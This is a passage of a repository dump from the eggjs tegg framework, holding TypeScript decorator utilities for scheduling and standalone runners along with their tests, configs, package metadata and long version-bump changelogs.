    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { IS_SCHEDULE, SCHEDULE_PARAMS, SCHEDULE_OPTIONS } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, ScheduleOptions, ScheduleParams } from '@eggjs/tegg-types';\n\nexport class ScheduleInfoUtil {\n  static isSchedule(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getBooleanMetaData(IS_SCHEDULE, clazz);\n  }\n\n  static setIsSchedule(isSchedule: boolean, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(IS_SCHEDULE, isSchedule, clazz);\n  }\n\n  static setScheduleParams<T>(scheduleParams: ScheduleParams<T>, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(SCHEDULE_PARAMS, scheduleParams, clazz);\n  }\n\n  static setScheduleOptions(scheduleParams: ScheduleOptions, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(SCHEDULE_OPTIONS, scheduleParams, clazz);\n  }\n\n  static getScheduleOptions(clazz: EggProtoImplClass): ScheduleOptions | undefined {\n    return MetadataUtil.getMetaData(SCHEDULE_OPTIONS, clazz);\n  }\n\n  static getScheduleParams(clazz: EggProtoImplClass): ScheduleParams<object> | undefined {\n    return MetadataUtil.getMetaData(SCHEDULE_PARAMS, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/util/ScheduleMetadataUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { SCHEDULE_METADATA } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ScheduleMetadata } from '../model/index.ts';\n\nexport class ScheduleMetadataUtil {\n  static setScheduleMetadata(clazz: EggProtoImplClass, metaData: ScheduleMetadata<object>): void {\n    MetadataUtil.defineMetaData(SCHEDULE_METADATA, metaData, clazz);\n  }\n\n  static getScheduleMetadata(clazz: EggProtoImplClass): ScheduleMetadata<object> | undefined {\n    return MetadataUtil.getMetaData(SCHEDULE_METADATA, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/util/index.ts",
    "content": "export * from './ScheduleInfoUtil.ts';\nexport * from './ScheduleMetadataUtil.ts';\n"
  },
  {
    "path": "tegg/core/schedule-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"IS_SCHEDULE\": Symbol(EggPrototype#isSchedule),\n  \"SCHEDULE_METADATA\": Symbol(EggPrototype#schedule#metadata),\n  \"SCHEDULE_OPTIONS\": Symbol(EggPrototype#schedule#options),\n  \"SCHEDULE_PARAMS\": Symbol(EggPrototype#schedule#params),\n  \"Schedule\": [Function],\n  \"ScheduleInfoUtil\": [Function],\n  \"ScheduleMetaBuilder\": [Function],\n  \"ScheduleMetadata\": [Function],\n  \"ScheduleMetadataUtil\": [Function],\n  \"ScheduleType\": {\n    \"ALL\": \"all\",\n    \"WORKER\": \"worker\",\n  },\n}\n`;\n"
  },
  {
    "path": "tegg/core/schedule-decorator/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/schedule-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/schedule-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/standalone-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/standalone-decorator\n"
  },
  {
    "path": "tegg/core/standalone-decorator/README.md",
    "content": "# `@eggjs/standalone-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/standalone-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/standalone-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/standalone-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/standalone-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/standalone-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/standalone-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/standalone-decorator\n\n## Usage\n\nPlease read [@eggjs/standalone](../../standalone/standalone/README.md)\n"
  },
  {
    "path": "tegg/core/standalone-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/standalone-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg standalone decorator\",\n  \"keywords\": [\n    \"decorator\",\n    \"egg\",\n    \"standalone\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/standalone-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/standalone-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {},\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/standalone-decorator/src/decorator/Runner.ts",
    "content": "import type { MainRunnerClass } from '../typing.ts';\nimport { StandaloneUtil } from '../util/index.ts';\n\nexport function Runner<T>() {\n  return function (clazz: MainRunnerClass<T>): void {\n    StandaloneUtil.setMainRunner(clazz as unknown as MainRunnerClass<void>);\n  };\n}\n"
  },
  {
    "path": "tegg/core/standalone-decorator/src/decorator/index.ts",
    "content": "export * from './Runner.ts';\n"
  },
  {
    "path": "tegg/core/standalone-decorator/src/index.ts",
    "content": "export * from './typing.ts';\nexport * from './util/index.ts';\nexport * from './decorator/index.ts';\n"
  },
  {
    "path": "tegg/core/standalone-decorator/src/typing.ts",
    "content": "export interface MainRunner<T = void> {\n  main(): Promise<T>;\n}\n\nexport type MainRunnerClass<T = void> = new () => MainRunner<T>;\n"
  },
  {
    "path": "tegg/core/standalone-decorator/src/util/StandaloneUtil.ts",
    "content": "import type { MainRunnerClass } from '../typing.ts';\n\nexport class StandaloneUtil {\n  private static runnerClass: MainRunnerClass | undefined;\n\n  static setMainRunner(runnerClass: MainRunnerClass): void {\n    StandaloneUtil.runnerClass = runnerClass;\n  }\n\n  static getMainRunner(): MainRunnerClass | undefined {\n    return StandaloneUtil.runnerClass;\n  }\n}\n"
  },
  {
    "path": "tegg/core/standalone-decorator/src/util/index.ts",
    "content": "export * from './StandaloneUtil.ts';\n"
  },
  {
    "path": "tegg/core/standalone-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"Runner\": [Function],\n  \"StandaloneUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/standalone-decorator/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/standalone-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/standalone-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/tegg/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## 